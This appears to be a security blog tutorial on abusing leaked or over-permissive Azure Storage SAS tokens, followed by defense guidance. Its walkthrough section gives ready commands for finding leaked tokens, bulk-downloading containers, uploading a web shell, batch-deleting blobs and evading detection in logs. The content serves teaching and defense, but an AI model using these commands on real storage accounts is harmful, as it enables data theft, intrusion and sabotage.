Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Azure Storage Accounts are the backbone for Blob, Queue, Table, and File storage in Azure, and almost every application built on the platform touches one directly or indirectly — static web assets, backup archives, ML training data, invoices, exported logs. Because so many different consumers need access to slices of that data without needing the master account key, Microsoft provides Shared Access Signatures (SAS): signed query strings that grant delegated, time-bound, scoped access to a storage resource. A SAS is meant to replace handing out the account key wholesale — instead of “here is full control of the storage account,” it is supposed to say “here is read access to this one container for the next hour.”
In practice, SAS tokens are one of the most common cloud misconfigurations found on engagements and in public-bucket-style research: developers generate them with far broader permissions and far longer expiries than the use case needs, embed them directly in mobile app binaries, JavaScript bundles, or CI configuration, and then lose track of them. Because a SAS is a bearer credential — the URL itself is the entire authentication — anyone who obtains it has exactly the access it grants, with no additional login, MFA, or Conditional Access check standing in the way.
Attack Prerequisites
Exploiting SAS token abuse does not require any foothold inside the target’s Azure tenant — it requires only the token itself, which changes where the actual work of an assessment or attack happens: finding the leak.
- A leaked or overly-broad SAS token/URL — found in a public GitHub/GitLab repo, npm/PyPI package, mobile app decompile, JavaScript source map, Postman collection, CI/CD pipeline logs, or a support ticket.
- The token has not yet expired (
separameter in the future) and, for account-key-signed SAS, the underlying account key has not been rotated since the token was issued. - Sufficient
sp(permissions) andss/srt(service/resource-type) scope on the token for the intended action — read-only tokens allow exfiltration; tokens withw/d/aallow tampering or destruction. - Network access to the storage endpoint — typically unauthenticated over the internet unless the storage account enforces firewall/VNet restrictions.
How It Works
Azure Storage supports three flavors of SAS, distinguished by what signs them and what they can authorize. An Account SAS is signed with one of the storage account’s two access keys and can grant access across multiple services (Blob, Queue, Table, File) and multiple resource types (service/container/object) in a single token — it is the broadest and most dangerous form. A Service SAS is also signed with the account key but is scoped to a single service and a specific resource (one container, one blob, one queue). A User Delegation SAS is the odd one out: instead of the account key, it is signed with a key obtained from Azure AD/Entra ID via Get-UserDelegationKey/the az storage blob generate-sas --auth-mode login path, tied to an Azure RBAC role assigned to a specific identity, and capped at a maximum lifetime of seven days.
A SAS token is a query string with a well-defined set of parameters: sv (storage service version, which also fixes which features/permissions are valid), ss and srt (which services and resource types an Account SAS covers — blob/file/queue/table and service/container/object), sp (the permission letters — read, write, delete, list, add, create, update, process, and more depending on version), st/se (start/expiry timestamps), spr (allowed protocol, https or https,http), an optional sip (source IP range restriction), and finally sig — an HMAC-SHA256 signature computed over all the other fields using the signing key. The storage service re-derives that HMAC on every request and compares it; it never needs to “look up” the token anywhere, because the token is self-contained and self-verifying.
That self-contained design is exactly what makes SAS both convenient and dangerous: possession of the URL is the entire authorization decision, with no further identity check. And because an account-key-signed SAS is validated purely by recomputing a signature, it cannot be individually revoked before its se expiry — there is no server-side session to kill. The only ways to cut off an account-key SAS early are to rotate/regenerate the signing key (which invalidates every token signed with it, including legitimate ones), or to have originally issued it against a Stored Access Policy on the container/share, which can be modified or deleted to revoke all SAS tokens tied to it. Tokens issued without a stored access policy are unrevocable individually — a consequence developers routinely overlook when they set se a year or a decade out.
Vulnerable Code / Configuration
The canonical over-permissive Account SAS: generated straight from the CLI with every permission letter, every service, every resource type, and an expiry years in the future.
# Grants add/create/delete/list/process/read/update/write across
# Blob+File+Queue+Table, at Service+Container+Object scope, until 2030.
az storage account generate-sas \
--account-name corpdatasa01 \
--permissions acdlpruw \
--resource-types sco \
--services bfqt \
--expiry 2030-01-01T00:00:00Z \
--https-only \
--account-key <STORAGE_ACCOUNT_KEY>
# Resulting token gets appended to a blob/container URL, e.g.:
# https://corpdatasa01.blob.core.windows.net/?
# sv=2022-11-02&ss=bfqt&srt=sco&sp=racwdlup&se=2030-01-01T00:00:00Z
# &st=2024-01-01T00:00:00Z&spr=https&sig=<HMAC_SIGNATURE>
BashThis single query string is functionally equivalent to handing out the storage account key for six years, scoped only by the attacker’s imagination — full read/write/delete across every service the account offers. The same problem shows up as a hardcoded token committed to source or baked into a mobile app’s config, discovered later during a decompile or a repo scan:
// config.js — shipped in a public web bundle
export const BACKUP_CONTAINER_SAS =
"https://corpdatasa01.blob.core.windows.net/backups" +
"?sv=2022-11-02&ss=b&srt=sco&sp=rwdlacup" +
"&se=2028-12-31T23:59:59Z&spr=https&sig=REDACTED";
JavaScriptA related enabler is a storage account left with allowSharedKeyAccess: true (the default) and resources that were never migrated to Azure AD-based User Delegation SAS, combined with no Stored Access Policy on the container — which removes the one mechanism that would let the owner revoke the token early.
Walkthrough / Exploitation
Leaked SAS tokens are usually found the same way secrets are: scanning public and semi-public sources. TruffleHog and gitleaks both ship detectors for Azure SAS/connection-string patterns and are run across GitHub, GitLab, and CI logs:
trufflehog github --org=example-org --only-verified
gitleaks detect --source . --report-format json --report-path leaks.json
BashOnce a SAS URL is in hand, no further authentication is needed — it is used directly, either with the Azure CLI’s --sas-token flag or with plain HTTP against the Storage REST API:
# Enumerate blobs in the exposed container using the CLI
az storage blob list \
--account-name corpdatasa01 \
--container-name backups \
--sas-token "sv=2022-11-02&ss=b&srt=sco&sp=rwdlacup&se=2028-12-31T23:59:59Z&spr=https&sig=REDACTED" \
--output table
# Same thing with raw REST + curl, no CLI required
curl "https://corpdatasa01.blob.core.windows.net/backups?restype=container&comp=list&<SAS_QUERY_STRING>"
BashIf sp includes r/l, the attacker exfiltrates data in bulk with AzCopy or the CLI’s batch download, which is dramatically faster than iterating blob by blob:
azcopy copy "https://corpdatasa01.blob.core.windows.net/backups?<SAS_QUERY_STRING>" \
./loot --recursive
az storage blob download-batch \
--destination ./loot \
--source backups \
--account-name corpdatasa01 \
--sas-token "<SAS_QUERY_STRING>"
BashIf the token also carries w/d/a/c, the impact goes beyond disclosure: the attacker can upload a malicious payload into a container the application later serves or executes, overwrite legitimate backups, or delete blobs outright for extortion or sabotage.
az storage blob upload \
--account-name corpdatasa01 --container-name backups \
--name webshell.aspx --file ./webshell.aspx \
--sas-token "<SAS_QUERY_STRING>"
az storage blob delete-batch --source backups \
--account-name corpdatasa01 --sas-token "<SAS_QUERY_STRING>"
BashNote: A SAS scoped narrowly at generation time can still be a problem if
svis old and the account allows legacy versions — always check which storage service version and feature set the token was minted under. Also note that Account SAS and Service SAS look identical in URL shape; the difference is only visible by inspectingss/srtversus a single fixed resource path.
Opsec: Enumerating or downloading through a leaked SAS generates the same Storage Analytics / diagnostic log entries as any legitimate request — there is no separate ‘this was a leaked token’ signal, so an operator’s traffic blends into normal application telemetry unless the defender is specifically baselining SAS usage by client IP and user agent.
Detection and Defense
SAS is not inherently insecure, but the account-key-signed variants remove the revocability and identity binding that make other Azure access controls effective, so scope and lifetime discipline matter more than usual:
- Prefer User Delegation SAS over Account/Service SAS wherever the client can authenticate to Azure AD — it is bound to an RBAC role and capped at a 7-day lifetime, and access can be cut off immediately by removing the role assignment.
- Use Stored Access Policies for account-key-signed SAS so tokens can be revoked as a group by modifying or deleting the policy, instead of waiting for natural expiry.
- Minimize
sp,ss, andsrtto exactly the permissions and services the consumer needs — read-only, single-container Service SAS instead of a multi-service Account SAS, whenever possible. - Set short
seexpiries (hours, not years) and rotate/reissue rather than minting long-lived tokens for convenience. - Enforce
spr=httpsand, where feasible,sipIP restrictions on generated tokens. - Rotate storage account keys (
az storage account keys renew) on a schedule and immediately after any suspected leak — this invalidates every SAS signed with that key. - Enable Storage Analytics logging and Azure Monitor / Microsoft Defender for Storage, and alert on anomalous SAS-authenticated access patterns — unfamiliar source IPs, unusual user agents, bulk
GetBlob/ListBlobsbursts, or write/delete operations from tokens expected to be read-only. - Scan source, packages, and mobile builds for embedded SAS URLs with gitleaks/TruffleHog before release, and treat any match as a leaked-credential incident, not just a code-quality finding.
Real-World Impact
Publicly leaked Azure SAS tokens and misconfigured storage access are a recurring category in cloud security research and bug-bounty disclosures, typically surfacing through committed source code, exposed CI artifacts, or decompiled mobile applications, and the resulting exposure ranges from PII and credential leakage to full write/delete access over production data — the same class of impact as an S3 bucket left public, but harder for defenders to spot because a SAS grants access silently, with no bucket policy or ACL to audit after the fact.
Conclusion
SAS tokens exist to avoid handing out Azure Storage account keys, but a broadly-scoped, long-lived, unrevocable SAS reproduces the exact risk it was meant to prevent — and because it is a bearer credential embedded in a URL, a single leak to a public repo or a decompiled app is enough for full account compromise. The fix is architectural as much as procedural: favor User Delegation SAS and Stored Access Policies so access can actually be revoked, keep scope and expiry tight, and monitor storage access logs as carefully as any other authentication boundary.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments